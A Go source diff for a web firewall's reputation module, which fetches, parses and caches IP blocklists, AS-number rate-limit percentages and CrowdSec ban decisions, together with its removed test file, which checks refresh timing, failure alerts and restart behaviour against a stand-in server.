 	percent, listed := l.lists[l.params.ASNLimitPercentURL].entries.percents[asn]
 	return percent, listed
 }
 // CrowdSecDecision returns the decision of the copy of the CrowdSec
 // decision list on a netblock that holds addr and that ends last, and
 // whether it is still in force at now. A decision that has ended no
 // longer bans, even before the next fetch drops it.
 func (l *Lists) CrowdSecDecision(addr netip.Addr, now time.Time) (Decision, bool) {
 	if l.params.CrowdSecDecisionsURL == "" {
 		return Decision{}, false
 	}
 	l.mu.Lock()
 	defer l.mu.Unlock()
 	kept := l.lists[l.params.CrowdSecDecisionsURL].entries
 	var last Decision
 	for _, length := range kept.lengths {
 		netblock, err := addr.Prefix(length)
 		if err != nil {
 			continue // an IPv6 netblock's length, past an IPv4 address's 32 bits
 		}
 		decision := kept.decisions[netblock]
 		if decision.Expires.After(last.Expires) {
 			last = decision
 		}
 	}
 	return last, now.Before(last.Expires)
 }
 // Fetched returns when the copy in use of the list at listURL was
 // fetched, or zero while there is none.
 func (l *Lists) Fetched(listURL string) time.Time {
 	l.mu.Lock()
 	defer l.mu.Unlock()
 	return l.lists[listURL].kept.Fetched
 }
 // Failures returns how many fetches of the list at listURL failed.
 func (l *Lists) Failures(listURL string) int {
 	l.mu.Lock()
 	defer l.mu.Unlock()
 	return l.lists[listURL].failures
 }
 // Run fetches each list once it is due, as due tells, until ctx is done. A
 // list never tried is fetched at once, and so is one that is due by its
 // last try or copy read from reputation.json.
 func (l *Lists) Run(ctx context.Context) {
 	if len(l.lists) == 0 {
 		return
 	}
 	for ctx.Err() == nil {
 		next := l.fetchDue(ctx)
 		timer := time.NewTimer(next.Sub(l.params.Now()))
 		select {
 		case <-ctx.Done():
 		case <-timer.C:
 		}
 		timer.Stop()
 	}
 }
 // Snapshot returns each list that has been tried, with its copy, if it
 // has one, sorted by URL, as reputation.json lists them.
 func (l *Lists) Snapshot() []List {
 	l.mu.Lock()
 	tried := make([]List, 0, len(l.lists))
 	for _, held := range l.lists {
 		if !held.kept.Tried.IsZero() {
 			tried = append(tried, held.kept)
 		}
 	}
 	l.mu.Unlock()
 	slices.SortFunc(tried, func(a, b List) int {
 		return strings.Compare(a.URL, b.URL)
 	})
 	return tried
 }
 // Load puts lists, read from reputation.json, in place of the last tries
 // and copies held. A list Params does not name is dropped. A copy with a
 // line that parse refuses is an error, and then nothing changes.
 func (l *Lists) Load(lists []List) error {
 	found := make(map[string]entries, len(lists))
 	for _, kept := range lists {
 		_, named := l.lists[kept.URL]
 		if !named || kept.Fetched.IsZero() {
 			continue // dropped, or a list tried but never fetched, without a copy
 		}
 		read, err := l.parse(kept.URL, kept.Lines, kept.Fetched)
 		if err != nil {
 			return fmt.Errorf("the copy of %s: %w", kept.URL, err)
 		}
 		found[kept.URL] = read
 	}
 	l.mu.Lock()
 	defer l.mu.Unlock()
 	for listURL, held := range l.lists {
 		held.kept, held.entries = List{URL: listURL}, entries{}
 	}
 	for _, kept := range lists {
 		if _, named := l.lists[kept.URL]; named {
 			l.lists[kept.URL].kept, l.lists[kept.URL].entries = kept, found[kept.URL]
 		}
 	}
 	return nil
 }
 // fetchDue fetches each list that is due, one after another, and returns
 // when the next is due. Once ctx has ended, it starts none, since a fetch
 // cut off is noted as a try.
 func (l *Lists) fetchDue(ctx context.Context) time.Time {
 	var next time.Time
 	for _, listURL := range l.URLs() {
 		due := l.due(listURL)
 		if ctx.Err() == nil && !l.params.Now().Before(due) {
 			l.fetch(ctx, listURL)
 			due = l.due(listURL)
 		}
 		if next.IsZero() || due.Before(next) {
 			next = due
 		}
 	}
 	return next
 }
 // due returns when the list at listURL is to be fetched: Refresh after it
 // was last fetched or tried, the later of the two, or crowdSecRefresh
 // after for the CrowdSec decision list.
 func (l *Lists) due(listURL string) time.Time {
 	l.mu.Lock()
 	defer l.mu.Unlock()
 	held := l.lists[listURL]
 	last := held.kept.Fetched
 	if held.kept.Tried.After(last) {
 		last = held.kept.Tried
 	}
 	if listURL == l.params.CrowdSecDecisionsURL {
 		return last.Add(crowdSecRefresh)
 	}
 	return last.Add(l.params.Refresh)
 }
 // fetch fetches the list at listURL, and notes the try. A good copy takes
 // the place of the one held. A failure leaves that in use, and is counted,
 // logged and raised as a source_failure alert. A fetch cut off as ctx
 // ends, as sww stops, is no failure, but is still noted as a try,
 // so that a restart waits for it: the server may have had its request.
 func (l *Lists) fetch(ctx context.Context, listURL string) {
 	lines, err := l.get(ctx, listURL)
 	now := l.params.Now()
 	var found entries
 	if err == nil {
 		found, err = l.parse(listURL, lines, now)
 	}
 	cutOff := err != nil && ctx.Err() != nil
 	l.mu.Lock()
 	held := l.lists[listURL]
 	held.kept.Tried = now
 	if err == nil {
 		held.kept.Fetched, held.kept.Lines = now, lines
 		held.entries = found
 	} else if !cutOff {
 		held.failures++
 	}
 	l.mu.Unlock()
 	if cutOff {
 		return
 	}
 	if err != nil {
 		const failed = "fetching a list failed"
 		// Raised before it is logged, so that the alert is there once the
 		// log line is.
 		raiseFailure(l.params.Alerts, failed, listURL, err)
 		l.params.ProcessLog.Warn(failed, "url", listURL, "error", err.Error())
 		return
 	}
 	l.params.ProcessLog.Info("fetched a list", "url", listURL, "lines", len(lines))
 }
 // raiseFailure raises a source_failure alert into queue, with reason, and
 // in its detail the source that failed, a list's URL, a zone with its key
 // masked or abuseipdb, and err.
 func raiseFailure(queue *alerts.Queue, reason, source string, err error) {
 	queue.Raise(alerts.Alert{
 		Event:  alerts.EventSourceFailure,
 		Reason: reason,
 		Detail: map[string]any{"source": source, "error": err.Error()},
 	})
 }
 // get fetches the list at listURL, and returns its lines. The CrowdSec
 // decision list is fetched with CrowdSecKey in the header X-Api-Key, where
 // the engine looks for it, by crowdSecClient, which follows no redirect.
 // An answer other than 200, or a list longer than maxListBytes, is a
 // failure.
 func (l *Lists) get(ctx context.Context, listURL string) ([]string, error) {
 	ctx, cancel := context.WithTimeout(ctx, fetchTimeout)
 	defer cancel()
 	req, err := http.NewRequestWithContext(ctx, http.MethodGet, listURL, http.NoBody)
 	if err != nil {
 		return nil, fmt.Errorf("make the request: %w", err)
 	}
 	client := l.httpClient
 	if listURL == l.params.CrowdSecDecisionsURL {
 		req.Header.Set("X-Api-Key", l.params.CrowdSecKey)
 		client = l.crowdSecClient
 	}
 	res, err := client.Do(req)
 	if err != nil {
 		// Do's error names the URL, which the log line and the alert name
 		// already: only what went wrong is kept.
 		return nil, fmt.Errorf("fetch the list: %w", errors.Unwrap(err))
 	}
 	defer func() {
 		_ = res.Body.Close()
 	}()
 	if res.StatusCode != http.StatusOK {
 		return nil, fmt.Errorf("%w %s", errStatus, res.Status)
 	}
 	body, err := io.ReadAll(io.LimitReader(res.Body, maxListBytes+1))
 	if err != nil {
 		return nil, fmt.Errorf("read the list: %w", err)
 	}
 	if len(body) > maxListBytes {
 		return nil, errTooLong
 	}
 	lines := []string{}
 	for line := range strings.Lines(string(body)) {
 		lines = append(lines, strings.TrimSuffix(line, "\n"))
 	}
 	return lines, nil
 }
 // parse reads the lines of the list at listURL, fetched at fetched: those
 // of a blocklist, of the file of AS:percent lines, or of the CrowdSec
 // decision list. In the first two, anything after a ; or a # on a line is
 // left out, and so is a line left blank. Any other line that does not read
 // is an error naming it by its number.
 func (l *Lists) parse(
 	listURL string, lines []string, fetched time.Time,
 ) (entries, error) {
 	switch listURL {
 	case l.params.ASNLimitPercentURL:
 		return parsePercents(lines)
 	case l.params.CrowdSecDecisionsURL:
 		return parseDecisions(lines, fetched)
 	default:
 		return parseNetblocks(lines)
 	}
 }
 // parseNetblocks reads a blocklist's lines, each an address or a netblock
 // as the settings take them.
 func parseNetblocks(lines []string) (entries, error) {
 	found := entries{netblocks: map[netip.Prefix]bool{}}
 	for i, line := range lines {
 		text := withoutComment(line)
 		if text == "" {
 			continue
 		}
 		netblock, ok := parseNetblock(text)
 		if !ok {
 			return entries{}, fmt.Errorf("line %d %w", i+1, errNotNetblock)
 		}
 		found.netblocks[netblock] = true
 		if !slices.Contains(found.lengths, netblock.Bits()) {
 			found.lengths = append(found.lengths, netblock.Bits())
 		}
 	}
 	return found, nil
 }
 // parseNetblock reads text, a line of a blocklist, and reports whether it
 // is an address or a netblock as the settings take them. A client's IPv4
 // address is checked as IPv4, never IPv4-mapped, so an IPv4-mapped line,
 // such as ::ffff:192.0.2.0/120, is read as the IPv4 address or netblock it
 // stands for, 192.0.2.0/24, and a mapped netblock shorter than /96, which
 // stands for none, is refused.
 func parseNetblock(text string) (netip.Prefix, bool) {
 	netblock, err := config.ParseNetblock(text)
 	if err != nil {
 		return netip.Prefix{}, false
 	}
 	// The address as written: ParseNetblock's has the bits past the
 	// netblock's length cleared, the ::ffff among them below /96.
 	written, _, _ := strings.Cut(text, "/")
 	if addr, _ := netip.ParseAddr(written); !addr.Is4In6() {
 		return netblock, true
 	}
 	if netblock.Bits() < mappedBits {
 		return netip.Prefix{}, false
 	}
 	return netip.PrefixFrom(netblock.Addr().Unmap(), netblock.Bits()-mappedBits), true
 }
 // parsePercents reads the lines of the file of AS:percent lines, each an
 // AS number, : and a percentage, as SWW_ASN_LIMIT_PERCENT takes them. An
 // AS number listed more than once gets the lowest of its percentages.
 func parsePercents(lines []string) (entries, error) {
 	found := entries{percents: map[string]int64{}}
 	for i, line := range lines {
 		text := withoutComment(line)
 		if text == "" {
 			continue
 		}
 		asnText, percentText, _ := strings.Cut(text, ":")
 		asn, asnErr := config.ParseASN(asnText)
 		percent, percentErr := config.ParsePercent(percentText)
 		if asnErr != nil || percentErr != nil {
 			return entries{}, fmt.Errorf("line %d %w", i+1, errNotASNPercent)
 		}
 		earlier, listed := found.percents[asn]
 		if !listed || percent < earlier {
 			found.percents[asn] = percent
 		}
 	}
 	return found, nil
 }
 // parseDecisions reads the lines of the CrowdSec decision list fetched at
 // fetched: the engine's answer, a JSON list of its decisions in force,
 // null while it has none. A decision of the type ban whose scope is Ip or
 // Range, as CrowdSec names them, bans its value, an address or a netblock
 // as parseNetblock reads it, until its duration, the time it had left as
 // the engine answered, has passed since fetched. Any other decision, such
 // as one to show a captcha or one on a country, is left out. A decision
 // to ban whose value or duration does not read is an error naming it by
 // its number.
 func parseDecisions(lines []string, fetched time.Time) (entries, error) {
 	var answer []struct {
 		Duration string `json:"duration"`
 		Scenario string `json:"scenario"`
 		Scope    string `json:"scope"`
 		Type     string `json:"type"`
 		Value    string `json:"value"`
 	}
 	err := json.Unmarshal([]byte(strings.Join(lines, "\n")), &answer)
 	if err != nil {
 		return entries{}, fmt.Errorf("read the answer: %w", err)
 	}
 	found := entries{decisions: map[netip.Prefix]Decision{}}
 	for i, decision := range answer {
 		if decision.Type != "ban" || (decision.Scope != "Ip" && decision.Scope != "Range") {
 			continue
 		}
 		netblock, ok := parseNetblock(decision.Value)
 		duration, err := time.ParseDuration(decision.Duration)
 		if !ok || err != nil {
 			return entries{}, fmt.Errorf("decision %d %w", i+1, errNotDecision)
 		}
 		expires := fetched.Add(duration)
 		if expires.After(found.decisions[netblock].Expires) {
 			found.decisions[netblock] = Decision{Expires: expires, Scenario: decision.Scenario}
 		}
 		if !slices.Contains(found.lengths, netblock.Bits()) {
 			found.lengths = append(found.lengths, netblock.Bits())
 		}
 	}
 	return found, nil
 }
 // withoutComment returns line without anything after a ; or a #, and
 // without the spaces around what is left.
 func withoutComment(line string) string {
 	text, _, _ := strings.Cut(line, ";")
 	text, _, _ = strings.Cut(text, "#")
 	return strings.TrimSpace(text)
 }
 // contain reports whether the netblocks of a blocklist's copy hold addr:
 // whether addr, cut to one of their lengths, is one of them.
 func (e entries) contain(addr netip.Addr) bool {
 	for _, length := range e.lengths {
 		netblock, err := addr.Prefix(length)
 		if err == nil && e.netblocks[netblock] {
 			return true
 		}
 	}
 	return false
 }
@@ -1,618 +0,0 @@
 package reputation_test
 import (
 	"bytes"
 	"context"
 	"fmt"
 	"io"
 	"log/slog"
 	"net/http"
 	"net/netip"
 	"net/url"
 	"reflect"
 	"slices"
 	"strings"
 	"sync"
 	"testing"
 	"testing/synctest"
 	"time"
 	"sneak.berlin/go/smallwebwaf/internal/alerts"
 	"sneak.berlin/go/smallwebwaf/internal/reputation"
 )
 // The tests run in a synctest bubble, where the time package runs on a
 // clock of the test's own: time.Sleep moves it on at once, and
 // synctest.Wait returns once Run waits for the next list to be due, so
 // that every fetch due by then has been made. The stand-in for the
 // servers the lists are fetched from answers without the network, since a
 // fetch waiting on the network would keep that clock from moving on.
 const (
 	// dropURL and torURL are the blocklists, and asnURL the file of
 	// AS:percent lines.
 	dropURL = "https://lists.example/drop.txt"
 	torURL  = "https://lists.example/tor.txt"
 	asnURL  = "https://lists.example/asn.txt"
 	// refresh is the tests' SWW_BLOCKLIST_REFRESH, and cooldown their
 	// SWW_ALERT_COOLDOWN, longer than it.
 	refresh  = 24 * time.Hour
 	cooldown = 48 * time.Hour
 	// drop is a blocklist as the Spamhaus DROP list is written, with an
 	// address and a netblock in each of its comments, which list nothing.
 	drop = "; Spamhaus DROP List 2026/10/07 - (c) 2026 The Spamhaus Project SLL\n" +
 		"; Last-Modified: Wed, 07 Oct 2026 00:00:00 GMT ; 192.0.2.1\n" +
 		"# 198.51.100.0/24\n" +
 		"\n" +
 		"203.0.113.0/24 ; SBL1\n" +
 		"  192.0.2.9  # one address\n" +
 		"2001:db8:1::/48 ; SBL2\n"
 )
 func TestListedAddressesAndNetblocksWithTheCommentsLeftOut(t *testing.T) {
 	t.Parallel()
 	synctest.Test(t, func(t *testing.T) {
 		servers := &standIn{lists: map[string]string{dropURL: drop}}
 		lists := start(t, servers, params(dropURL))
 		for addr, want := range map[string][]string{
 			"203.0.113.0":   {dropURL},
 			"203.0.113.255": {dropURL},
 			"192.0.2.9":     {dropURL},
 			"2001:db8:1::7": {dropURL},
 			"203.0.114.0":   nil,
 			"192.0.2.8":     nil,
 			"192.0.2.1":     nil,
 			"198.51.100.7":  nil,
 			"2001:db8:2::7": nil,
 		} {
 			wantListedBy(t, lists, addr, want...)
 		}
 	})
 }
 func TestIPv4MappedLineListsTheIPv4AddressOrNetblockItStandsFor(t *testing.T) {
 	t.Parallel()
 	now := time.Now()
 	lists := reputation.New(params(dropURL))
 	err := lists.Load([]reputation.List{{
 		URL: dropURL, Tried: now, Fetched: now,
 		Lines: []string{"::ffff:192.0.2.9", "::ffff:203.0.113.0/120"},
 	}})
 	if err != nil {
 		t.Fatalf("load: %v", err)
 	}
 	for addr, want := range map[string][]string{
 		"192.0.2.9":     {dropURL},
 		"203.0.113.255": {dropURL},
 		"192.0.2.8":     nil,
 		"203.0.114.0":   nil,
 	} {
 		wantListedBy(t, lists, addr, want...)
 	}
 	// A mapped netblock shorter than /96 stands for no IPv4 one.
 	err = lists.Load([]reputation.List{{
 		URL: dropURL, Tried: now, Fetched: now, Lines: []string{"::ffff:198.51.100.0/88"},
 	}})
 	const want = "the copy of " + dropURL +
 		": line 1 is not an address or a netblock, such as 192.0.2.0/24"
 	if err == nil || err.Error() != want {
 		t.Errorf("error %v, want %s", err, want)
 	}
 }
 func TestClientIsListedByEachBlocklistThatListsIt(t *testing.T) {
 	t.Parallel()
 	synctest.Test(t, func(t *testing.T) {
 		servers := &standIn{lists: map[string]string{
 			dropURL: "203.0.113.0/24\n", torURL: "203.0.113.9\n",
 		}}
 		lists := start(t, servers, params(torURL, dropURL))
 		// In the order SWW_BLOCKLIST_URLS names them.
 		wantListedBy(t, lists, "203.0.113.9", torURL, dropURL)
 		wantListedBy(t, lists, "203.0.113.8", dropURL)
 	})
 }
 func TestListFetchedAgainOnceRefreshHasPassed(t *testing.T) {
 	t.Parallel()
 	synctest.Test(t, func(t *testing.T) {
 		servers := &standIn{lists: map[string]string{dropURL: "203.0.113.9\n"}}
 		lists := start(t, servers, params(dropURL))
 		began := time.Now()
 		wantFetches(t, servers, 1)
 		servers.set(dropURL, "203.0.113.10\n")
 		time.Sleep(refresh - time.Nanosecond)
 		wantFetches(t, servers, 1)
 		wantListedBy(t, lists, "203.0.113.9", dropURL)
 		time.Sleep(time.Nanosecond)
 		wantFetches(t, servers, 2)
 		wantListedBy(t, lists, "203.0.113.9")
 		wantListedBy(t, lists, "203.0.113.10", dropURL)
 		if fetched := lists.Fetched(dropURL); !fetched.Equal(began.Add(refresh)) {
 			t.Errorf("the copy in use was fetched at %s, want %s", fetched,
 				began.Add(refresh))
 		}
 	})
 }
 func TestFailedFetchKeepsTheLastGoodCopyAndAlertsOncePerCooldown(t *testing.T) {
 	t.Parallel()
 	for _, tc := range []struct {
 		name string
 		// fail has the stand-in answer the fetches after the first so that
 		// they fail with error.
 		fail  func(servers *standIn)
 		error string
 	}{
 		{
 			"an answer other than 200",
 			func(servers *standIn) { servers.set(dropURL, "") },
 			"the server answered 503 Service Unavailable",
 		},
 		{
 			"a line that does not read",
 			func(servers *standIn) { servers.set(dropURL, "203.0.113.10\n<html>\n") },
 			"line 2 is not an address or a netblock, such as 192.0.2.0/24",
 		},
 		{
 			"a list longer than 16 MiB",
 			func(servers *standIn) {
 				servers.set(dropURL, strings.Repeat("#\n", 8<<20+1))
 			},
 			"the list is longer than 16 MiB",
 		},
 	} {
 		t.Run(tc.name, func(t *testing.T) {
 			t.Parallel()
 			synctest.Test(t, func(t *testing.T) {
 				var log bytes.Buffer
 				servers := &standIn{lists: map[string]string{dropURL: drop}}
 				queue := newQueue()
 				p := params(dropURL)
 				p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil))
 				p.Alerts = queue
 				lists := start(t, servers, p)
 				kept := lists.Snapshot()
 				tc.fail(servers)
 				// Each failure is tried again once refresh has passed since it.
 				for range 2 {
 					time.Sleep(refresh)
 					synctest.Wait()
 				}
 				wantFetches(t, servers, 3)
 				wantListedBy(t, lists, "203.0.113.9", dropURL)
 				want := kept[0]
 				want.Tried = time.Now()
 				if got := lists.Snapshot(); !reflect.DeepEqual(got, []reputation.List{want}) {
 					t.Errorf("lists %+v, want the first copy, last tried now, %+v", got, want)
 				}
 				if lists.Failures(dropURL) != 2 {
 					t.Errorf("%d failures, want 2", lists.Failures(dropURL))
 				}
 				// One alert for the first failure; the cooldown holds back the
 				// second.
 				wantAlert(t, queue, fetchFailure(time.Now().Add(-refresh), dropURL, tc.error))
 				if !strings.Contains(log.String(), `"msg":"fetching a list failed",`+
 					`"url":"`+dropURL+`","error":"`+tc.error) {
 					t.Errorf("logged\n%s\nwant the failures", log.String())
 				}
 			})
 		})
 	}
 }
 func TestFetchNotDoneWithinAMinuteFails(t *testing.T) {
 	t.Parallel()
 	synctest.Test(t, func(t *testing.T) {
 		servers := &standIn{lists: map[string]string{}, hanging: true}
 		lists := start(t, servers, params(dropURL))
 		time.Sleep(time.Minute - time.Nanosecond)
 		synctest.Wait()
 		if lists.Failures(dropURL) != 0 {
 			t.Errorf("%d failures before a minute, want none", lists.Failures(dropURL))
 		}
 		time.Sleep(time.Nanosecond)
 		synctest.Wait()
 		if lists.Failures(dropURL) != 1 {
 			t.Errorf("%d failures after a minute, want 1", lists.Failures(dropURL))
 		}
 	})
 }
 func TestKeptCopyIsFetchedAgainOnceRefreshHasPassedSinceItWasFetched(t *testing.T) {
 	t.Parallel()
 	synctest.Test(t, func(t *testing.T) {
 		servers := &standIn{lists: map[string]string{
 			dropURL: "203.0.113.10\n", torURL: "198.51.100.10\n",
 		}}
 		lists := reputation.New(params(dropURL, torURL))
 		lists.SetTransport(servers)
 		// drop.txt was fetched an hour ago, and tor.txt a refresh ago, as
 		// reputation.json says at start.
 		err := lists.Load([]reputation.List{
 			{URL: dropURL, Fetched: time.Now().Add(-time.Hour), Lines: []string{"203.0.113.9"}},
 			{URL: torURL, Fetched: time.Now().Add(-refresh), Lines: []string{"198.51.100.9"}},
 		})
 		if err != nil {
 			t.Fatalf("load: %v", err)
 		}
 		run(t, lists)
 		wantFetches(t, servers, 1)
 		wantListedBy(t, lists, "203.0.113.9", dropURL)
 		wantListedBy(t, lists, "198.51.100.10", torURL)
 		time.Sleep(refresh - time.Hour - time.Nanosecond)
 		wantFetches(t, servers, 1)
 		time.Sleep(time.Nanosecond)
 		wantFetches(t, servers, 2)
 		wantListedBy(t, lists, "203.0.113.10", dropURL)
 	})
 }
 func TestRestartWaitsRefreshAfterTheLastTryEvenOneThatFailed(t *testing.T) {
 	t.Parallel()
 	synctest.Test(t, func(t *testing.T) {
 		// drop.txt is fetched, and a refresh later the fetch downloads it
 		// whole but fails on a line that does not read.
 		servers := &standIn{lists: map[string]string{dropURL: "198.51.100.1\n"}}
 		lists := start(t, servers, params(dropURL))
 		servers.set(dropURL, "198.51.100.2\n<html>\n")
 		time.Sleep(refresh)
 		wantFetches(t, servers, 2)
 		// Restarted with what reputation.json keeps, it waits a refresh
 		// after the failed try, as it does while it runs.
 		restarted := &standIn{lists: map[string]string{dropURL: "198.51.100.2\n"}}
 		again := reputation.New(params(dropURL))
 		again.SetTransport(restarted)
 		err := again.Load(lists.Snapshot())
 		if err != nil {
 			t.Fatalf("load: %v", err)
 		}
 		run(t, again)
 		wantFetches(t, restarted, 0)
 		wantListedBy(t, again, "198.51.100.1", dropURL)
 		time.Sleep(refresh - time.Nanosecond)
 		wantFetches(t, restarted, 0)
 		time.Sleep(time.Nanosecond)
 		wantFetches(t, restarted, 1)
 		wantListedBy(t, again, "198.51.100.2", dropURL)
 	})
 }
 func TestFetchCutOffAsItStopsIsNoFailureButARestartWaitsForIt(t *testing.T) {
 	t.Parallel()
 	synctest.Test(t, func(t *testing.T) {
 		// Stopped 30 seconds into the fetch of drop.txt, before tor.txt's.
 		servers := &standIn{lists: map[string]string{}, hanging: true}
 		queue := newQueue()
 		p := params(dropURL, torURL)
 		p.Alerts = queue
 		lists := reputation.New(p)
 		lists.SetTransport(servers)
 		ctx, stop := context.WithCancel(t.Context())
 		stopped := make(chan struct{})
 		go func() {
 			lists.Run(ctx)
 			close(stopped)
 		}()
 		time.Sleep(30 * time.Second)
 		stop()
 		<-stopped
 		wantFetches(t, servers, 1)
 		if lists.Failures(dropURL) != 0 || len(waiting(queue)) != 0 {
 			t.Errorf("%d failures and alerts %+v, want none", lists.Failures(dropURL),
 				waiting(queue))
 		}
 		// Restarted an hour later with what reputation.json keeps, it fetches
 		// tor.txt, never tried, at once, and drop.txt a refresh after its
 		// cut-off try.
 		time.Sleep(time.Hour)
 		restarted := &standIn{lists: map[string]string{
 			dropURL: "203.0.113.7\n", torURL: "198.51.100.7\n",
 		}}
 		again := reputation.New(params(dropURL, torURL))
 		again.SetTransport(restarted)
 		err := again.Load(lists.Snapshot())
 		if err != nil {
 			t.Fatalf("load: %v", err)
 		}
 		run(t, again)
 		wantFetches(t, restarted, 1)
 		wantListedBy(t, again, "198.51.100.7", torURL)
 		time.Sleep(refresh - time.Hour - time.Nanosecond)
 		wantFetches(t, restarted, 1)
 		time.Sleep(time.Nanosecond)
 		wantFetches(t, restarted, 2)
 		wantListedBy(t, again, "203.0.113.7", dropURL)
 	})
 }
 func TestASNLimitPercentFileGivesEachASNumberItsLowestPercentage(t *testing.T) {
 	t.Parallel()
 	synctest.Test(t, func(t *testing.T) {
 		servers := &standIn{lists: map[string]string{
 			asnURL: "# hosting networks\nAS14061:50 ; DigitalOcean\nas16276:25\n\n" +
 				"AS14061:10\nAS14061:30\n",
 		}}
 		p := params()
 		p.ASNLimitPercentURL = asnURL
 		lists := start(t, servers, p)
 		for asn, want := range map[string]int64{"AS14061": 10, "AS16276": 25} {
 			percent, listed := lists.ASNLimitPercent(asn)
 			if !listed || percent != want {
 				t.Errorf("%s has %d (listed %t), want %d", asn, percent, listed, want)
 			}
 		}
 		if _, listed := lists.ASNLimitPercent("AS64496"); listed {
 			t.Error("AS64496 is listed")
 		}
 		// A line that does not read fails the fetch.
 		servers.set(asnURL, "AS14061:50\nAS16276\n")
 		time.Sleep(refresh)
 		synctest.Wait()
 		if lists.Failures(asnURL) != 1 {
 			t.Errorf("%d failures, want 1", lists.Failures(asnURL))
 		}
 	})
 }
 func TestLoadDropsCopiesOfListsNotNamedAndRefusesOnesThatDoNotRead(t *testing.T) {
 	t.Parallel()
 	fetched := time.Date(2026, 10, 6, 0, 0, 0, 0, time.UTC)
 	kept := reputation.List{
 		URL: dropURL, Tried: fetched, Fetched: fetched, Lines: []string{"203.0.113.9"},
 	}
 	lists := reputation.New(params(dropURL))
 	err := lists.Load([]reputation.List{kept, {
 		URL: torURL, Tried: fetched, Fetched: fetched, Lines: []string{"198.51.100.9"},
 	}})
 	if err != nil {
 		t.Fatalf("load: %v", err)
 	}
 	if got := lists.Snapshot(); !reflect.DeepEqual(got, []reputation.List{kept}) {
 		t.Errorf("copies %+v, want only %+v", got, kept)
 	}
 	err = lists.Load([]reputation.List{{URL: dropURL, Fetched: fetched, Lines: []string{
 		"; DROP", "203.0.113.300",
 	}}})
 	const want = "the copy of " + dropURL +
 		": line 2 is not an address or a netblock, such as 192.0.2.0/24"
 	if err == nil || err.Error() != want {
 		t.Errorf("error %v, want %s", err, want)
 	}
 	if got := lists.Snapshot(); !reflect.DeepEqual(got, []reputation.List{kept}) {
 		t.Errorf("copies %+v after the error, want %+v still", got, kept)
 	}
 }
 // standIn is a stand-in for the servers the lists are fetched from. It
 // notes the URL of each fetch.
 type standIn struct {
 	mu sync.Mutex
 	// lists are what it answers with, by URL; it answers a URL it has no
 	// list for with 503, and none at all while hanging.
 	lists   map[string]string
 	hanging bool
 	fetches []string
 }
 // RoundTrip has the stand-in answer req, in place of the network. A fetch
 // abandoned before the stand-in answers fails, as over the network.
 func (s *standIn) RoundTrip(req *http.Request) (*http.Response, error) {
 	s.mu.Lock()
 	s.fetches = append(s.fetches, req.URL.String())
 	list, found := s.lists[req.URL.String()]
 	hanging := s.hanging
 	s.mu.Unlock()
 	if hanging {
 		<-req.Context().Done()
 		return nil, req.Context().Err()
 	}
 	status := http.StatusOK
 	if !found {
 		status = http.StatusServiceUnavailable
 	}
 	return &http.Response{
 		StatusCode: status,
 		Status:     fmt.Sprintf("%d %s", status, http.StatusText(status)),
 		Header:     http.Header{},
 		Body:       io.NopCloser(strings.NewReader(list)),
 		Request:    req,
 	}, nil
 }
 // set has the stand-in answer listURL with list, or with 503 for "".
 func (s *standIn) set(listURL, list string) {
 	s.mu.Lock()
 	defer s.mu.Unlock()
 	if list == "" {
 		delete(s.lists, listURL)
 		return
 	}
 	s.lists[listURL] = list
 }
 // params returns the Params of the blocklists at urls, refreshed every
 // refresh, by the bubble's clock, with alerts to a queue that sends none.
 func params(urls ...string) reputation.Params {
 	return reputation.Params{
 		BlocklistURLs: urls,
 		Refresh:       refresh,
 		Now:           time.Now,
 		ProcessLog:    slog.New(slog.DiscardHandler),
 		Alerts:        newQueue(),
 	}
 }
 // newQueue returns a queue of alerts to a webhook that is never sent
 // them, with a cooldown of cooldown.
 func newQueue() *alerts.Queue {
 	return alerts.New(alerts.Params{
 		WebhookURL: &url.URL{Scheme: "https", Host: "alerts.example"},
 		Events:     alerts.Events(),
 		Cooldown:   cooldown,
 		Now:        time.Now,
 	})
 }
 // start returns the lists of p, fetched through servers by Run, which runs
 // until the test ends, once Run has fetched those due at start.
 func start(
 	t *testing.T, servers http.RoundTripper, p reputation.Params,
 ) *reputation.Lists {
 	t.Helper()
 	lists := reputation.New(p)
 	lists.SetTransport(servers)
 	run(t, lists)
 	return lists
 }
 // run runs lists' Run until the test ends, and waits until it has fetched
 // the lists due.
 func run(t *testing.T, lists *reputation.Lists) {
 	t.Helper()
 	ctx, stop := context.WithCancel(t.Context())
 	stopped := make(chan struct{})
 	go func() {
 		lists.Run(ctx)
 		close(stopped)
 	}()
 	t.Cleanup(func() {
 		stop()
 		<-stopped
 	})
 	synctest.Wait()
 }
 // wantFetches waits until Run has made the fetches due, and checks how
 // many the servers have had.
 func wantFetches(t *testing.T, servers *standIn, want int) {
 	t.Helper()
 	synctest.Wait()
 	servers.mu.Lock()
 	got := len(servers.fetches)
 	servers.mu.Unlock()
 	if got != want {
 		t.Errorf("%d fetches, want %d", got, want)
 	}
 }
 // wantListedBy checks the URLs of the blocklists lists says list addr.
 func wantListedBy(t *testing.T, lists *reputation.Lists, addr string, want ...string) {
 	t.Helper()
 	got := lists.ListedBy(netip.MustParseAddr(addr))
 	if !slices.Equal(got, want) {
 		t.Errorf("%s is listed by %v, want %v", addr, got, want)
 	}
 }
 // waiting returns the alerts waiting in queue.
 func waiting(queue *alerts.Queue) []alerts.Alert {
 	return queue.Snapshot().Waiting[alerts.DestinationWebhook]
 }
 // fetchFailure is the source_failure alert raised at the time raised for
 // a fetch of the list at listURL that failed with err.
 func fetchFailure(raised time.Time, listURL, err string) alerts.Alert {
 	return alerts.Alert{
 		Time:   raised,
 		Event:  alerts.EventSourceFailure,
 		Reason: "fetching a list failed",
 		Detail: map[string]any{"source": listURL, "error": err},
 	}
 }
 // wantAlert checks that want is the one alert waiting in queue, and that
 // the cooldown has held back one repeat of it.
 func wantAlert(t *testing.T, queue *alerts.Queue, want alerts.Alert) {
 	t.Helper()
 	got := waiting(queue)
 	if len(got) != 1 || !reflect.DeepEqual(got[0], want) || queue.Suppressed() != 1 {
 		t.Errorf("alerts waiting %+v, %d held back, want only %+v and 1", got,
 			queue.Suppressed(), want)
 	}
 }